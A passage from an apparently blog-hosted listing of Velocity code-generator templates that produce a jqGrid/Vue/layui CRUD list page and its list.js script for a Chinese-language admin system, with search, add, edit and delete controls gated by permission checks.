class="tag">&lt;<span class="name">html</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">head</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">title</span>&gt;</span>$&#123;tableInfo.comment&#125;<span class="tag">&lt;/<span class="name">title</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">meta</span> <span class="attr">charset</span>=<span class="string">&quot;UTF-8&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">meta</span> <span class="attr">http-equiv</span>=<span class="string">&quot;X-UA-Compatible&quot;</span> <span class="attr">content</span>=<span class="string">&quot;IE=edge&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">meta</span> <span class="attr">content</span>=<span class="string">&quot;width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no&quot;</span> <span class="attr">name</span>=<span class="string">&quot;viewport&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">link</span> <span class="attr">rel</span>=<span class="string">&quot;stylesheet&quot;</span> <span class="attr">href</span>=<span class="string">&quot;../../css/bootstrap.min.css&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">link</span> <span class="attr">rel</span>=<span class="string">&quot;stylesheet&quot;</span> <span class="attr">href</span>=<span class="string">&quot;../../css/font-awesome.min.css&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">link</span> <span class="attr">rel</span>=<span class="string">&quot;stylesheet&quot;</span> <span class="attr">href</span>=<span class="string">&quot;../../plugins/jqgrid/ui.jqgrid-bootstrap.css&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">link</span> <span class="attr">rel</span>=<span class="string">&quot;stylesheet&quot;</span> <span class="attr">href</span>=<span class="string">&quot;../../css/jqgrid.css&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">link</span> <span class="attr">rel</span>=<span class="string">&quot;stylesheet&quot;</span> <span class="attr">href</span>=<span class="string">&quot;../../plugins/ztree/css/metroStyle/metroStyle.css&quot;</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">link</span> <span class="attr">rel</span>=<span class="string">&quot;stylesheet&quot;</span> <span class="attr">type</span>=<span class="string">&quot;text/css&quot;</span> <span class="attr">href</span>=<span class="string">&quot;../../plugins/layui/css/layui.css&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">link</span> <span class="attr">rel</span>=<span class="string">&quot;stylesheet&quot;</span> <span class="attr">href</span>=<span class="string">&quot;../../css/main.css&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">script</span> <span class="attr">src</span>=<span class="string">&quot;../../libs/jquery.min.js&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">script</span> <span class="attr">src</span>=<span class="string">&quot;../../plugins/layer/layer.js&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">script</span> <span class="attr">src</span>=<span class="string">&quot;../../libs/bootstrap.min.js&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">script</span> <span class="attr">src</span>=<span class="string">&quot;../../libs/vue.min.js&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">script</span> <span class="attr">src</span>=<span class="string">&quot;../../plugins/jqgrid/grid.locale-cn.js&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">script</span> <span class="attr">src</span>=<span class="string">&quot;../../plugins/jqgrid/jquery.jqGrid.min.js&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">script</span> <span class="attr">src</span>=<span class="string">&quot;../../plugins/ztree/jquery.ztree.all.min.js&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">script</span> <span class="attr">src</span>=<span class="string">&quot;../../plugins/layui/layui.all.js&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">script</span> <span class="attr">src</span>=<span class="string">&quot;../../uploadUtils/uploadUtils.js&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">script</span> <span class="attr">src</span>=<span class="string">&quot;../../js/common.js&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">head</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">div</span> <span class="attr">id</span>=<span class="string">&quot;rrapp&quot;</span> <span class="attr">v-cloak</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">div</span> <span class="attr">v-show</span>=<span class="string">&quot;showList&quot;</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;grid-btn&quot;</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">table</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">tr</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">td</span> <span class="attr">style</span>=<span class="string">&quot;padding: 10px;&quot;</span>&gt;</span><span class="tag">&lt;<span class="name">label</span> <span class="attr">class</span>=<span class="string">&quot;form-label&quot;</span>&gt;</span>名称<span class="tag">&lt;/<span class="name">label</span>&gt;</span><span class="tag">&lt;/<span class="name">td</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">td</span> <span class="attr">style</span>=<span class="string">&quot;padding: 10px;&quot;</span>&gt;</span><span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">&quot;text&quot;</span> <span class="attr">class</span>=<span class="string">&quot;form-control&quot;</span> <span class="attr">v-model</span>=<span class="string">&quot;q.name&quot;</span> @<span class="attr">keyup.enter</span>=<span class="string">&quot;query&quot;</span></span></span><br><span class="line"><span class="tag"> <span class="attr">placeholder</span>=<span class="string">&quot;请输入名称&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">td</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">td</span> <span class="attr">style</span>=<span class="string">&quot;padding: 10px;&quot;</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">a</span> <span class="attr">class</span>=<span class="string">&quot;btn btn-default&quot;</span> @<span class="attr">click</span>=<span class="string">&quot;query&quot;</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">li</span> <span class="attr">class</span>=<span class="string">&quot;fa fa-search&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">li</span>&gt;</span><span class="symbol">&amp;nbsp;</span>查询</span><br><span class="line"><span class="tag">&lt;/<span class="name">a</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">td</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">td</span> <span class="attr">colspan</span>=<span class="string">&quot;6&quot;</span> <span class="attr">style</span>=<span class="string">&quot;padding: 10px;&quot;</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">a</span> <span class="attr">v-if</span>=<span class="string">&quot;hasPermission(&#x27;$&#123;tableAuth&#125;:save&#x27;)&quot;</span>  <span class="attr">class</span>=<span class="string">&quot;btn btn-primary&quot;</span> @<span class="attr">click</span>=<span class="string">&quot;add&quot;</span>&gt;</span><span class="tag">&lt;<span class="name">i</span> <span class="attr">class</span>=<span class="string">&quot;fa fa-plus&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">i</span>&gt;</span><span class="symbol">&amp;nbsp;</span>新增<span class="tag">&lt;/<span class="name">a</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">td</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">tr</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">table</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">table</span> <span class="attr">id</span>=<span class="string">&quot;jqGrid&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">table</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">div</span> <span class="attr">id</span>=<span class="string">&quot;jqGridPager&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line"></span><br><span class="line">    <span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;layer-panel&quot;</span> <span class="attr">style</span>=<span class="string">&quot;display: none;&quot;</span> <span class="attr">id</span>=<span class="string">&quot;addOrUpdateLayer&quot;</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">form</span> <span class="attr">class</span>=<span class="string">&quot;form-horizontal&quot;</span>&gt;</span></span><br><span class="line">            #foreach($column in $tableInfo.fullColumn)</span><br><span class="line">    #if($column.name != $pk.name)</span><br><span class="line">                    <span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;form-group&quot;</span>&gt;</span></span><br><span class="line">                        <span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;col-sm-2 control-label&quot;</span>&gt;</span>#if($&#123;column.comment&#125;)$&#123;column.comment&#125;#end<span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line">                        <span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;col-sm-10&quot;</span>&gt;</span></span><br><span class="line">                            <span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">&quot;text&quot;</span> <span class="attr">class</span>=<span class="string">&quot;form-control&quot;</span> <span class="attr">v-model</span>=<span class="string">&quot;$!tool.firstLowerCase($tableInfo.name).$&#123;column.name&#125;&quot;</span> <span class="attr">placeholder</span>=<span class="string">&quot;请输入$&#123;column.comment&#125;&quot;</span>/&gt;</span></span><br><span class="line">                        <span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line">                    <span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line">                #end</span><br><span class="line">#end</span><br><span class="line">            <span class="comment">&lt;!-- &lt;div class=&quot;form-group&quot;&gt;</span></span><br><span class="line"><span class="comment">                &lt;div class=&quot;col-sm-2 control-label&quot;&gt;&lt;/div&gt;</span></span><br><span class="line"><span class="comment">                &lt;input type=&quot;button&quot; class=&quot;btn btn-primary&quot; @click=&quot;saveOrUpdate&quot; value=&quot;确定&quot;/&gt;</span></span><br><span class="line"><span class="comment">                &amp;nbsp;&amp;nbsp;&lt;input type=&quot;button&quot; class=&quot;btn btn-warning&quot; @click=&quot;reload&quot; value=&quot;返回&quot;/&gt;</span></span><br><span class="line"><span class="comment">            &lt;/div&gt; --&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">form</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;<span class="name">script</span> <span class="attr">src</span>=<span class="string">&quot;../../js/modules/$&#123;pathName&#125;.js&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">html</span>&gt;</span></span><br></pre></td></tr></table></figure><p>list.js</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br></pre></td><td class="code"><pre><span class="line">$!prefix</span><br><span class="line"></span><br><span class="line">##设置保存名称与保存位置</span><br><span class="line">$!callback.<span class="title function_">setFileName</span>($tool.<span class="title function_">append</span>($!&#123;tableInfo.<span class="property">name</span>&#125;, <span class="string">&quot;.js&quot;</span>))</span><br><span class="line">$!callback.<span class="title function_">setSavePath</span>($tool.<span class="title function_">append</span>($modulePath, <span class="string">&quot;/src/main/resources/modules/$&#123;prefixPathPipe&#125;&quot;</span>))</span><br><span class="line"></span><br><span class="line">##拿到主键</span><br><span class="line">#<span class="keyword">if</span>(!$tableInfo.<span class="property">pkColumn</span>.<span class="title function_">isEmpty</span>())</span><br><span class="line">    #<span class="title function_">set</span>($pk = $tableInfo.<span class="property">pkColumn</span>.<span class="title function_">get</span>(<span class="number">0</span>))</span><br><span class="line">#end</span><br><span class="line"></span><br><span class="line">$(<span class="keyword">function</span> (<span class="params"></span>) &#123;</span><br><span class="line">    $(<span class="string">&quot;#jqGrid&quot;</span>).<span class="title function_">jqGrid</span>(&#123;</span><br><span class="line">        <span class="attr">url</span>: <span class="title class_">ServerConfig</span>.<span class="property">baseURL</span> + <span class="string">&#x27;/#if($tableApi)$tableApi#else$!tool.firstLowerCase($tableInfo.name)#end/page&#x27;</span>,</span><br><span class="line">        <span class="attr">datatype</span>: <span class="string">&quot;json&quot;</span>,</span><br><span class="line">        <span class="attr">colModel</span>: [</span><br><span class="line">#<span class="title function_">foreach</span>($column <span class="keyword">in</span> $tableInfo.<span class="property">fullColumn</span>)</span><br><span class="line">    #<span class="keyword">if</span>($column.<span class="property">name</span> == $pk.<span class="property">name</span>)</span><br><span class="line">&#123; <span class="attr">label</span>: <span class="string">&#x27;$&#123;column.name&#125;&#x27;</span>, <span class="attr">name</span>: <span class="string">&#x27;$&#123;column.name&#125;&#x27;</span>, <span class="attr">index</span>: <span class="string">&#x27;$&#123;column.obj.name&#125;&#x27;</span>, <span class="attr">width</span>: <span class="number">50</span>, <span class="attr">key</span>: <span class="literal">true</span> &#125;,</span><br><span class="line">#<span class="keyword">else</span></span><br><span class="line">&#123; <span class="attr">label</span>: <span class="string">&#x27;$&#123;column.comment&#125;&#x27;</span>, <span class="attr">name</span>: <span class="string">&#x27;$&#123;column.name&#125;&#x27;</span>, <span class="attr">index</span>: <span class="string">&#x27;$&#123;column.obj.name&#125;&#x27;</span>, <span class="attr">width</span>: <span class="number">80</span> &#125;#<span class="keyword">if</span>($velocityCount != $columns.<span class="title function_">size</span>()), #end</span><br><span class="line"></span><br><span class="line">    #end</span><br><span class="line">#end</span><br><span class="line">            ,&#123;</span><br><span class="line">                <span class="attr">label</span>: <span class="string">&#x27;操作&#x27;</span>,</span><br><span class="line">                <span class="attr">width</span>: <span class="number">50</span>,</span><br><span class="line">                <span class="attr">sortable</span>: <span class="literal">false</span>,</span><br><span class="line"><span class="attr">name</span>:<span class="string">&quot;option&quot;</span>,</span><br><span class="line">                <span class="attr">formatter</span>: <span class="keyword">function</span>(<span class="params">value, options, row</span>) &#123;</span><br><span class="line">                    <span class="comment">// id为主键</span></span><br><span class="line">                    <span class="keyword">var</span> id = row.<span class="property">$pk</span>.<span class="property">name</span>;</span><br><span class="line"><span class="keyword">var</span> id = row.<span class="property">id</span></span><br><span class="line"><span class="keyword">var</span> edithtml = <span class="string">&quot;&lt;span class=&#x27;optionBtn&#x27; onclick=&#x27;update(&quot;</span> + id +</span><br><span class="line"><span class="string">&quot;)&#x27; title=&#x27;编辑&#x27;&gt;&lt;i class=&#x27;fa fa-edit i-success&#x27; &gt;&lt;/i&gt;&lt;/span&gt;&quot;</span>;</span><br><span class="line"><span class="keyword">var</span> delhtml = <span class="string">&quot;&lt;span class=&#x27;optionBtn&#x27; onclick=&#x27;del(&quot;</span> + id +</span><br><span class="line"><span class="string">&quot;)&#x27; title=&#x27;删除&#x27;&gt;&lt;i class=&#x27;fa fa-trash i-del&#x27;&gt;&lt;/i&gt;&lt;/span&gt;&quot;</span>;</span><br><span class="line"><span class="keyword">if</span> (!<span class="title function_">hasPermission</span>(<span class="string">&#x27;$&#123;tableAuth&#125;:delete&#x27;</span>)) &#123;</span><br><span class="line">delhtml = <span class="string">&#x27;&#x27;</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span> (!<span class="title function_">hasPermission</span>(<span class="string">&#x27;$&#123;tableAuth&#125;:update&#x27;</span>)) &#123;</span><br><span class="line">edithtml = <span class="string">&#x27;&#x27;</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span> (delhtml == <span class="string">&#x27;&#x27;</span> &amp;&amp; edithtml == <span class="string">&#x27;&#x27;</span>) &#123;</span><br><span class="line"><span class="title function_">jQuery</span>(<span class="string">&quot;#jqGrid&quot;</span>).<span class="title function_">setGridParam</span>().<span class="title function_">hideCol</span>(<span class="string">&quot;option&quot;</span>).<span class="title function_">trigger</span>(<span class="string">&quot;reloadGrid&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> <span class="string">&quot;&lt;div style=&#x27;text-align: center;&#x27;&gt;&quot;</span> + edithtml + delhtml + <span class="string">&quot;&lt;/div&gt;&quot;</span>;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        ],</span><br><span class="line"><span class="attr">viewrecords</span>: <span class="literal">true</span>,</span><br><span class="line">        <span class="attr">rownumbers</span>: <span class="literal">true</span>,</span><br><span class="line">        <span class="attr">autowidth</span>:<span class="literal">true</span>,</span><br><span class="line">        <span class="attr">multiselect</span>: <span class="literal">false</span>,</span><br><span class="line">        <span class="attr">pager</span>: <span class="string">&quot;#jqGridPager&quot;</span>,</span><br><span class="line">        <span class="attr">height</span>: tableConf.<span class="property">height</span>,</span><br><span class="line">        <span class="attr">rowNum</span>: tableConf.<span class="property">rowNum</span>,</span><br><span class="line">        <span class="attr">rowList</span>: tableConf.<span class="property">rowList</span>,</span><br><span class="line">        <span class="attr">rownumWidth</span>: tableConf.<span class="property">rownumWidth</span>,</span><br><span class="line">        <span class="attr">jsonReader</span>: tableConf.<span class="property">jsonReader</span>,</span><br><span class="line">        <span class="attr">prmNames</span>: tableConf.<span class="property">prmNames</span>,</span><br><span class="line">        <span class="attr">gridComplete</span>:<span class="keyword">function</span>(<span class="params"></span>)&#123;</span><br><span class="line">        <span class="comment">//隐藏grid底部滚动条</span></span><br><span class="line">        $(<span class="string">&quot;#jqGrid&quot;</span>).<span class="title function_">closest</span>(<span class="string">&quot;.ui-jqgrid-bdiv&quot;</span>).<span class="title function_">css</span>(&#123; <span class="string">&quot;overflow-x&quot;</span> : <span class="string">&quot;hidden&quot;</span> &#125;); </span><br><span class="line">        &#125;</span><br><span class="line">    &#125;);</span><br><span class="line">&#125;);</span><br><span class="line"><span class="keyword">var</span> picAttrList = [<span class="number">1</span>];</span><br><span class="line"><span class="keyword">var</span> vm = <span class="keyword">new</span> <span class="title class_">Vue</span>(&#123;</span><br><span class="line"><span class="attr">el</span>:<span class="string">&#x27;#cqapp&#x27;</span>,</span><br><span class="line"><span class="attr">data</span>:&#123;</span><br><span class="line"><span class="attr">showList</span>: <span class="literal">true</span>,</span><br><span class="line"><span class="attr">title</span>: <span class="literal">null</span>,</span><br><span class="line">$!tool.<span class="title function_">firstLowerCase</span>($tableInfo.<span class="property">name</span>): &#123;&#125;,</span><br><span class="line"><span class="attr">q</span>:&#123;</span><br><span class="line"><span class="string">&quot;name&quot;</span>:<span class="string">&#x27;&#x27;</span></span><br><span class="line">&#125;,</span><br><span class="line"><span class="attr">isClick</span>: <span class="literal">true</span>,<span class="comment">//重复check</span></span><br><span class="line"><span class="attr">fileList</span>: &#123;&#125;,<span class="comment">//上传图片</span></span><br><span class="line"><span class="attr">delIds</span>: []<span class="comment">//上传图片</span></span><br><span class="line">&#125;,</span><br><span class="line"><span class="title function_">mounted</span>(<span class="params"></span>)&#123;</span><br><span class="line"><span class="keyword">var</span> _this = <span class="variable language_">this</span>;</span><br><span class="line"><span class="comment">//setPicObj(_this, picAttrList);//上传图片</span></span><br><span class="line">&#125;,</span><br><span class="line"><span class="attr">methods</span>: &#123;</span><br><span class="line"><span class="attr">query</span>: <span class="keyword">function</span> (<span class="params"></span>) &#123;</span><br><span class="line">vm.<span class="title function_">reload</span>();</span><br><span class="line">&#125;,</span><br><span class="line"><span class="attr">add</span>: <span class="keyword">function</span>(<span class="params"></span>)&#123;</span><br><span class="line"><span class="comment">// vm.showList = false;</span></span><br><span class="line">vm.<span class="property">$</span>!tool.<span class="title function_">firstLowerCase</span>($tableInfo.<span class="property">name</span>) = &#123;&#125;;</span><br><span class="line">            vm.<span class="title function_">openLayer</span>(<span class="string">&quot;#addOrUpdateLayer&quot;</span>, <span class="string">&quot;新增&quot;</span>)</span><br><span class="line">&#125;,</span><br><span class="line"><span class="attr">validator</span>: <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line"><span class="comment">// if (isBlank(vm.cmEquipment.name)) &#123;</span></span><br><span class="line"><span class="comment">// layer.tips(&#x27;请填写设备名称！&#x27;, &#x27;#name&#x27;, &#123;</span></span><br><span class="line"><span class="comment">// tips: [2, &#x27;#ff0000&#x27;],</span></span><br><span class="line"><span class="comment">// time: 1000</span></span><br><span class="line"><span class="comment">// &#125;);</span></span><br><span class="line"><span class="comment">// return true;</span></span><br><span class="line"><span class="comment">// &#125;</span></span><br><span class="line"><span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">&#125;,</span><br><span class="line"><span class="attr">saveOrUpdate</span>: <span class="keyword">function</span> (<span class="params">isLayer,layer,index</span>) &#123;</span><br><span class="line"><span class="keyword">var</span> url = vm.<span class="property">$</span>!tool.<span class="title function_">firstLowerCase</span>($tableInfo.<span class="property">name</span>).<span class="property">$</span>&#123;pk.<span class="property">name</span>&#125; == <span class="literal">null</span> ? <span class="string">&quot;/#if($tableApi)$tableApi#else$!tool.firstLowerCase($tableInfo.name)#end/save&quot;</span> : <span class="string">&quot;/#if($tableApi)$tableApi#else$!tool.firstLowerCase($tableInfo.name)#end/update&quot;</span>;</span><br><span class="line"><span class="keyword">if</span> (vm.<span class="title function_">validator</span>()) &#123;</span><br><span class="line">vm.<span class="property">isClick</span> = <span class="literal">true</span>;</span><br><span class="line"><span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">trimHandle</span>(vm.<span class="property">$</span>!tool.<span class="title function_">firstLowerCase</span>($tableInfo.<span class="property">name</span>));</span><br><span class="line"><span class="comment">//handleImageData(vm,vm.cmEquipment,picAttrList);//上传图片</span></span><br><span class="line">$.<span class="title function_">ajax</span>(&#123;</span><br><span class="line"><span class="attr">type</span>: <span class="string">&quot;POST&quot;</span>,</span><br><span class="line">    <span class="attr">url</span>: <span class="title class_">ServerConfig</span>.<span class="property">baseURL</span> + url,</span><br><span class="line">                <span class="attr">contentType</span>: <span class="string">&quot;application/json&quot;</span>,</span><br><span class="line">    <span class="attr">data</span>: <span class="title class_">JSON</span>.<span class="title function_">stringify</span>(vm.<span class="property">$</span>!tool.<span class="title function_">firstLowerCase</span>($tableInfo.<span class="property">name</span>)),</span><br><span class="line">    <span class="attr">success</span>: <span class="keyword">function</span>(<span class="params">r</span>)&#123;</span><br><span class="line">                    <span class="keyword">if</span> (r.<span class="property">code</span> === <span class="number">200</span>) &#123;</span><br><span class="line">                        isLayer = <span class="literal">false</span>;</span><br><span class="line">                        layer.<span class="title function_">close</span>(index);</span><br><span class="line">                        <span class="title function_">showSuccess</span>(<span class="string">&#x27;操作成功&#x27;</span>, <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">                            vm.<span class="title function_">reload</span>();</span><br><span class="line">                        &#125;)</span><br><span class="line">                    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                        <span class="title function_">showError</span>(layer,r.<span class="property">msg</span>);</span><br><span class="line">vm.<span class="property">isClick</span> = <span class="literal">true</span>;</span><br><span class="line">                    &#125;</span><br><span class="line">&#125;</span><br><span class="line">&#125;);</span><br><span class="line">&#125;,</span><br><span class="line"><span class="attr">getInfo</span>: <span class="keyword">function</span>(<span class="params">$&#123;pk.name&#125;</span>)&#123;</span><br><span class="line">$.<span class="title function_">get</span>(baseURL + <span class="string">&quot;/#if($tableApi)$tableApi#else$!tool.firstLowerCase($tableInfo.name)#end/info/&quot;</span>+$&#123;pk.<span class="property">name</span>&#125;, <span class="keyword">function</span>(<span class="params">r</span>)&#123;</span><br><span class="line">                vm.<span class="property">$</span>!tool.<span class="title function_">firstLowerCase</span>($tableInfo.<span class="property">name</span>) = r.<span class="property">data</span></span><br><span class="line">            &#125;);</span><br><span class="line">&#125;,</span><br><span class="line"><span class="attr">reload</span>: <span class="keyword">function</span> (<span class="params">event</span>) &#123;</span><br><span class="line">vm.<span class="property">showList</span> = <span class="literal">true</span>;</span><br><span class="line"><span class="keyword">var</span> page = $(<span class="string">&quot;#jqGrid&quot;</span>).<span class="title function_">jqGrid</span>(<span class="string">&#x27;getGridParam&#x27;</span>,<span class="string">&#x27;page&#x27;</span>);</span><br><span 